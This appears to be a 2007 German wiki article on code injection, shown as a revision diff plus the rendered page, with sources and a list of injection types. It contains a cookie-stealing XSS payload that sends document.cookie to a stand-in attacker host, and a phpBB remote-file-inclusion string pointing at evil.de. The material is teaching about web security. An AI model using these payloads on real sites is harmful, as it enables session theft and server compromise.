Code Injection: Unterschied zwischen den Versionen
Keine Bearbeitungszusammenfassung |
Keine Bearbeitungszusammenfassung |
||
Zeile 4: | Zeile 4: | ||
Codeinjektion wird bei [[Cross Site Scripting]] eingesetzt und findet seinen Einsatz in variablen Bereichen dynamischer Webseiten, also | Codeinjektion wird bei [[Cross Site Scripting]] eingesetzt und findet seinen Einsatz in variablen Bereichen dynamischer Webseiten, also | ||
überall dort, wo Benutzer etwas selbstständig eintragen dürfen. | überall dort, wo Benutzer etwas selbstständig eintragen dürfen.<br> | ||
Entscheidend hierbei ist, dass der Browser, in dem eine manipulierte Webseite | Entscheidend hierbei ist, dass der Browser, in dem eine manipulierte Webseite | ||
dargestellt wird, nichts über den Zweck oder Ursprung des in dieser Seite enthaltenen Codes | dargestellt wird, nichts über den Zweck oder Ursprung des in dieser Seite enthaltenen Codes | ||
wissen kann und deswegen auch den injizierten Code gewissenhaft ausführt. | wissen kann und deswegen auch den injizierten Code gewissenhaft ausführt.<br> | ||
Da der hinzugefügte Code zum Teil der Seite wird, verfügt er auch über die Berechtigungen der Seite, | Da der hinzugefügte Code zum Teil der Seite wird, verfügt er auch über die Berechtigungen der Seite, | ||
weswegen Verschlüsselungstechniken und ähnliche Sicherheitsvorkehrungen nutzlos werden. | weswegen Verschlüsselungstechniken und ähnliche Sicherheitsvorkehrungen nutzlos werden.<br> | ||
Vor allem bei Webseiten, die die Eingabe von Benutzern anschließend anzeigen und dabei diese | Vor allem bei Webseiten, die die Eingabe von Benutzern anschließend anzeigen und dabei diese | ||
Zeile 20: | Zeile 17: | ||
Eingaben in Gästebüchern, Foren, privaten Nachrichten oder anderen Anwendungen, die auf den | Eingaben in Gästebüchern, Foren, privaten Nachrichten oder anderen Anwendungen, die auf den | ||
gleichen Prinzipien basieren, nicht ausreichend geprüft, könnten diese zum injizieren von Code | gleichen Prinzipien basieren, nicht ausreichend geprüft, könnten diese zum injizieren von Code | ||
verwendet werden. | verwendet werden.<br> | ||
=Beispiel: Stehlen eines Cookies= | =Beispiel: Stehlen eines Cookies= | ||
Eine ungesicherte dynamische Seite, die mit PHP geschrieben wurde und über ein Titel- und Text-Feld verfügt legt zunächst mit | Eine ungesicherte dynamische Seite, die mit PHP geschrieben wurde und über ein Titel- und Text-Feld verfügt legt zunächst mit<br> | ||
setcookie("xss" , "This content will be stored in a cookie" );<br> | |||
setcookie("xss" , "This content will be stored in a cookie" ); | |||
ein Cookie mit dem Namen xss und dem Inhalt "This content will be stored in a cookie" beim Benutzer an. | ein Cookie mit dem Namen xss und dem Inhalt "This content will be stored in a cookie" beim Benutzer an. | ||
Der Benutzer kann in dieser Anwendung Nachrichten versenden und anzeigen lassen (dafür sind das Titel- und Textfeld). | Der Benutzer kann in dieser Anwendung Nachrichten versenden und anzeigen lassen (dafür sind das Titel- und Textfeld).<br> | ||
Um dieses Cookie zu stehlen, kann der Angreifer (nachdem der Inhalt des Textfelds und des | Um dieses Cookie zu stehlen, kann der Angreifer (nachdem der Inhalt des Textfelds und des | ||
Titelfelds nicht gefiltert wird) in das Textfeld folgenden JavaScript-Code eintragen: | Titelfelds nicht gefiltert wird) in das Textfeld folgenden JavaScript-Code eintragen:<br> | ||
<scrpt>document.location="http://www.evilsite.com/evilscript.php? | <scrpt>document.location="http://www.evilsite.com/evilscript.php? | ||
info="+document.cookie;</script> | info="+document.cookie;</script><br> | ||
Anschließend wird im Browser, der folgende Link angezeigt:<br> | |||
http://www.evilwebsite.com/evilscript.php?info=xss=This+content+will+be+stored+in+a+cookie<br> | |||
Es ist deutlich zu sehen, dass die Daten aus dem Cookie ausgelesen und nun dem Angreifer bekannt sind. | Es ist deutlich zu sehen, dass die Daten aus dem Cookie ausgelesen und nun dem Angreifer bekannt sind.<br> | ||
=Beispiel: Umleitung einer Seite= | =Beispiel: Umleitung einer Seite= | ||
Das Freeware-Tool phpBB, das es dem Benutzer ermöglicht, auch ohne weiterführende Programmier- | Das Freeware-Tool phpBB, das es dem Benutzer ermöglicht, auch ohne weiterführende Programmier- | ||
oder HTML-Kenntnisse Foren zu erstellen und zu administrieren, wurde durch eine PHP | oder HTML-Kenntnisse Foren zu erstellen und zu administrieren, wurde durch eine PHP | ||
Anweisung anfällig auf XSS, dies wird mit einem Beispiel aus [ | Anweisung anfällig auf XSS, dies wird mit einem Beispiel aus [5] vorgeführt.<br> | ||
Mit der Anweisung<br> | |||
include_once($phpbb_root_path=’common.php’)<br> | |||
wird die Datei „common.php“ aus dem Root-Verzeichnis geladen. Dies ließ sich jedoch ausnutzen, | wird die Datei „common.php“ aus dem Root-Verzeichnis geladen. Dies ließ sich jedoch ausnutzen, | ||
indem man die dynamische Seite mit folgendem Code „fütterte“ : | indem man die dynamische Seite mit folgendem Code „fütterte“ :<br> | ||
/plugin.php&phpbb_root_path=http://evil.de | /plugin.php&phpbb_root_path=http://evil.de<br> | ||
Dies führte dazu, das statt der gewünschten Datei die Datei http://evil.de/common.php ausgeführt | Dies führte dazu, das statt der gewünschten Datei die Datei http://evil.de/common.php ausgeführt | ||
wurde. | wurde.<br> | ||
Diese Lücke ist zwar bei den neueren Versionen von phpBB geschlossen, verdeutlicht aber das Prinzip der Codeinjektion und ist immer noch aktuell für selbst geschriebene PHP Seiten. | Diese Lücke ist zwar bei den neueren Versionen von phpBB geschlossen, verdeutlicht aber das Prinzip der Codeinjektion und ist immer noch aktuell für selbst geschriebene PHP Seiten.<br> | ||
=Gängige Vertreter= | =Gängige Vertreter= | ||
[[SQL Injection]], wird am häufigsten eingesetzt | [[SQL Injection]], wird am häufigsten eingesetzt<br> | ||
[[LDAP Injection]]<br> | |||
[[LDAP Injection]] | [[SSI Injection]]<br> | ||
[[XPath Injection]]<br> | |||
[[SSI Injection]] | |||
[[XPath Injection]] | |||
=Quellen= | =Quellen= | ||
[1] XSS (Cross-Site Scripting) Cheat Sheet. Abfragedatum: 24.Mai 2007. http://ha. | [1] XSS (Cross-Site Scripting) Cheat Sheet. Abfragedatum: 24.Mai 2007. http://ha. | ||
ckers.org/xss.html | ckers.org/xss.html<br> | ||
[2] heise Security news – Sparkassen schlampen bei Online-Banking-Sicherheit. Heise Zeitschriften | [2] heise Security news – Sparkassen schlampen bei Online-Banking-Sicherheit. Heise Zeitschriften | ||
Verlag. Abfragedatum: 24.Mai 2007. http://www.heise.de/security/news/meldung/89885 | Verlag. Abfragedatum: 24.Mai 2007. http://www.heise.de/security/news/meldung/89885<br> | ||
[3] Caleb Sima: Locking the Door Behind You: Hacker Protection for Your Web Applications. | [3] Caleb Sima: Locking the Door Behind You: Hacker Protection for Your Web Applications. | ||
Abfragedatum: 24.Mai 2007. http://www.spidynamics.com/spilabs/education/articles/hacker-protection.html | Abfragedatum: 24.Mai 2007. http://www.spidynamics.com/spilabs/education/articles/hacker-protection.html<br> | ||
[4] Bryan Sullivan: Malicious Code Injection: It’s Not Just for SQL Anymore. Abfragedatum: | [4] Bryan Sullivan: Malicious Code Injection: It’s Not Just for SQL Anymore. Abfragedatum: | ||
24.Mai 2007. http://www.spidynamics.com/spilabs/education/articles/code-injection.html | 24.Mai 2007. http://www.spidynamics.com/spilabs/education/articles/code-injection.html<br> | ||
[5] Christiane Rütten, Tobias Glemser: Gesundes Misstrauen – Sicherheit von Webanwendungen. | [5] Christiane Rütten, Tobias Glemser: Gesundes Misstrauen – Sicherheit von Webanwendungen. | ||
C’t 2006, Heft 26, S. 234ff | C’t 2006, Heft 26, S. 234ff<br> | ||
[6] Kai Fuhrberg, Dirk Häger, Stefan Wolf: Internet-Sicherheit – Browser, Firewalls und Verschlüsselung, | [6] Kai Fuhrberg, Dirk Häger, Stefan Wolf: Internet-Sicherheit – Browser, Firewalls und Verschlüsselung, | ||
3. Auflage. Hanser Verlag, 2001. -ISBN 3-446-21725-8 | 3. Auflage. Hanser Verlag, 2001. -ISBN 3-446-21725-8<br> | ||
[7] Jörg Schwenk: Sicherheit und Krypthographie im Internet – Von sicherer E-Mail bis zu | [7] Jörg Schwenk: Sicherheit und Krypthographie im Internet – Von sicherer E-Mail bis zu | ||
IP-Verschlüsselung, 1. Auflage. Schwenk Verlag, Oktober 2002. -ISBN 3-528-03180-8 | IP-Verschlüsselung, 1. Auflage. Schwenk Verlag, Oktober 2002. -ISBN 3-528-03180-8<br> | ||
[8] Othmar Kyas: Sicherheit im Internet, 2. Auflage. MITP-Verlag, 1999. -ISBN 3-8266-4024-1<br> | |||
[8] Othmar Kyas: Sicherheit im Internet, 2. Auflage. MITP-Verlag, 1999. -ISBN 3-8266-4024-1 | |||
[9] Sicherheit in Verwaltungs- und Kliniknetzen – Anforderungen, Möglichkeiten, Empfehlungen. | [9] Sicherheit in Verwaltungs- und Kliniknetzen – Anforderungen, Möglichkeiten, Empfehlungen. | ||
Bericht der Arbeitsgruppe Verwaltungen nd Kliniken im Hochschulnetz. Bayerisches | Bericht der Arbeitsgruppe Verwaltungen nd Kliniken im Hochschulnetz. Bayerisches | ||
Staatsministerium für Unterricht, Kultus, Wissenschaft und Kunst, 1998 | Staatsministerium für Unterricht, Kultus, Wissenschaft und Kunst, 1998<br> | ||
[10] Stefan Nusser: Sicherheitskonzepte im WWW. Springer Verlag Berlin Heidelberg, 1998. | [10] Stefan Nusser: Sicherheitskonzepte im WWW. Springer Verlag Berlin Heidelberg, 1998. | ||
-ISBN 3-540-63391-X | -ISBN 3-540-63391-X<br> | ||
[11] Paul Sebastian Ziegler: XSS – Cross-Site Scripting. hakin9 - Hard Core IT Security Magazin | [11] Paul Sebastian Ziegler: XSS – Cross-Site Scripting. hakin9 - Hard Core IT Security Magazin | ||
2007, Heft 1, S. 20ff | 2007, Heft 1, S. 20ff<br> | ||
=Siehe auch= | =Siehe auch= | ||
[[Cross Site Scripting]] | *[[Cross Site Scripting]] | ||
[[Whitelisting]] | [[Whitelisting]] |
Version vom 25. Juni 2007, 17:10 Uhr
Dieser Artikel wird derzeit von einem Autor gründlich bearbeitet. Die Inhalte sind daher evtl. noch inkonsistent.
Definition
Codeinjektion wird bei Cross Site Scripting eingesetzt und findet seinen Einsatz in variablen Bereichen dynamischer Webseiten, also
überall dort, wo Benutzer etwas selbstständig eintragen dürfen.
Entscheidend hierbei ist, dass der Browser, in dem eine manipulierte Webseite
dargestellt wird, nichts über den Zweck oder Ursprung des in dieser Seite enthaltenen Codes
wissen kann und deswegen auch den injizierten Code gewissenhaft ausführt.
Da der hinzugefügte Code zum Teil der Seite wird, verfügt er auch über die Berechtigungen der Seite,
weswegen Verschlüsselungstechniken und ähnliche Sicherheitsvorkehrungen nutzlos werden.
Vor allem bei Webseiten, die die Eingabe von Benutzern anschließend anzeigen und dabei diese
Eingaben vorher nicht ausreichend filtern und prüfen, kann Code injiziert werden. Werden die
Eingaben in Gästebüchern, Foren, privaten Nachrichten oder anderen Anwendungen, die auf den
gleichen Prinzipien basieren, nicht ausreichend geprüft, könnten diese zum injizieren von Code
verwendet werden.
Beispiel: Stehlen eines Cookies
Eine ungesicherte dynamische Seite, die mit PHP geschrieben wurde und über ein Titel- und Text-Feld verfügt legt zunächst mit
setcookie("xss" , "This content will be stored in a cookie" );
ein Cookie mit dem Namen xss und dem Inhalt "This content will be stored in a cookie" beim Benutzer an.
Der Benutzer kann in dieser Anwendung Nachrichten versenden und anzeigen lassen (dafür sind das Titel- und Textfeld).
Um dieses Cookie zu stehlen, kann der Angreifer (nachdem der Inhalt des Textfelds und des
Titelfelds nicht gefiltert wird) in das Textfeld folgenden JavaScript-Code eintragen:
<scrpt>document.location="http://www.evilsite.com/evilscript.php?
info="+document.cookie;</script>
Anschließend wird im Browser, der folgende Link angezeigt:
http://www.evilwebsite.com/evilscript.php?info=xss=This+content+will+be+stored+in+a+cookie
Es ist deutlich zu sehen, dass die Daten aus dem Cookie ausgelesen und nun dem Angreifer bekannt sind.
Beispiel: Umleitung einer Seite
Das Freeware-Tool phpBB, das es dem Benutzer ermöglicht, auch ohne weiterführende Programmier-
oder HTML-Kenntnisse Foren zu erstellen und zu administrieren, wurde durch eine PHP
Anweisung anfällig auf XSS, dies wird mit einem Beispiel aus [5] vorgeführt.
Mit der Anweisung
include_once($phpbb_root_path=’common.php’)
wird die Datei „common.php“ aus dem Root-Verzeichnis geladen. Dies ließ sich jedoch ausnutzen,
indem man die dynamische Seite mit folgendem Code „fütterte“ :
/plugin.php&phpbb_root_path=http://evil.de
Dies führte dazu, das statt der gewünschten Datei die Datei http://evil.de/common.php ausgeführt
wurde.
Diese Lücke ist zwar bei den neueren Versionen von phpBB geschlossen, verdeutlicht aber das Prinzip der Codeinjektion und ist immer noch aktuell für selbst geschriebene PHP Seiten.
Gängige Vertreter
SQL Injection, wird am häufigsten eingesetzt
LDAP Injection
SSI Injection
XPath Injection
Quellen
[1] XSS (Cross-Site Scripting) Cheat Sheet. Abfragedatum: 24.Mai 2007. http://ha.
ckers.org/xss.html
[2] heise Security news – Sparkassen schlampen bei Online-Banking-Sicherheit. Heise Zeitschriften
Verlag. Abfragedatum: 24.Mai 2007. http://www.heise.de/security/news/meldung/89885
[3] Caleb Sima: Locking the Door Behind You: Hacker Protection for Your Web Applications.
Abfragedatum: 24.Mai 2007. http://www.spidynamics.com/spilabs/education/articles/hacker-protection.html
[4] Bryan Sullivan: Malicious Code Injection: It’s Not Just for SQL Anymore. Abfragedatum:
24.Mai 2007. http://www.spidynamics.com/spilabs/education/articles/code-injection.html
[5] Christiane Rütten, Tobias Glemser: Gesundes Misstrauen – Sicherheit von Webanwendungen.
C’t 2006, Heft 26, S. 234ff
[6] Kai Fuhrberg, Dirk Häger, Stefan Wolf: Internet-Sicherheit – Browser, Firewalls und Verschlüsselung,
3. Auflage. Hanser Verlag, 2001. -ISBN 3-446-21725-8
[7] Jörg Schwenk: Sicherheit und Krypthographie im Internet – Von sicherer E-Mail bis zu
IP-Verschlüsselung, 1. Auflage. Schwenk Verlag, Oktober 2002. -ISBN 3-528-03180-8
[8] Othmar Kyas: Sicherheit im Internet, 2. Auflage. MITP-Verlag, 1999. -ISBN 3-8266-4024-1
[9] Sicherheit in Verwaltungs- und Kliniknetzen – Anforderungen, Möglichkeiten, Empfehlungen.
Bericht der Arbeitsgruppe Verwaltungen nd Kliniken im Hochschulnetz. Bayerisches
Staatsministerium für Unterricht, Kultus, Wissenschaft und Kunst, 1998
[10] Stefan Nusser: Sicherheitskonzepte im WWW. Springer Verlag Berlin Heidelberg, 1998.
-ISBN 3-540-63391-X
[11] Paul Sebastian Ziegler: XSS – Cross-Site Scripting. hakin9 - Hard Core IT Security Magazin
2007, Heft 1, S. 20ff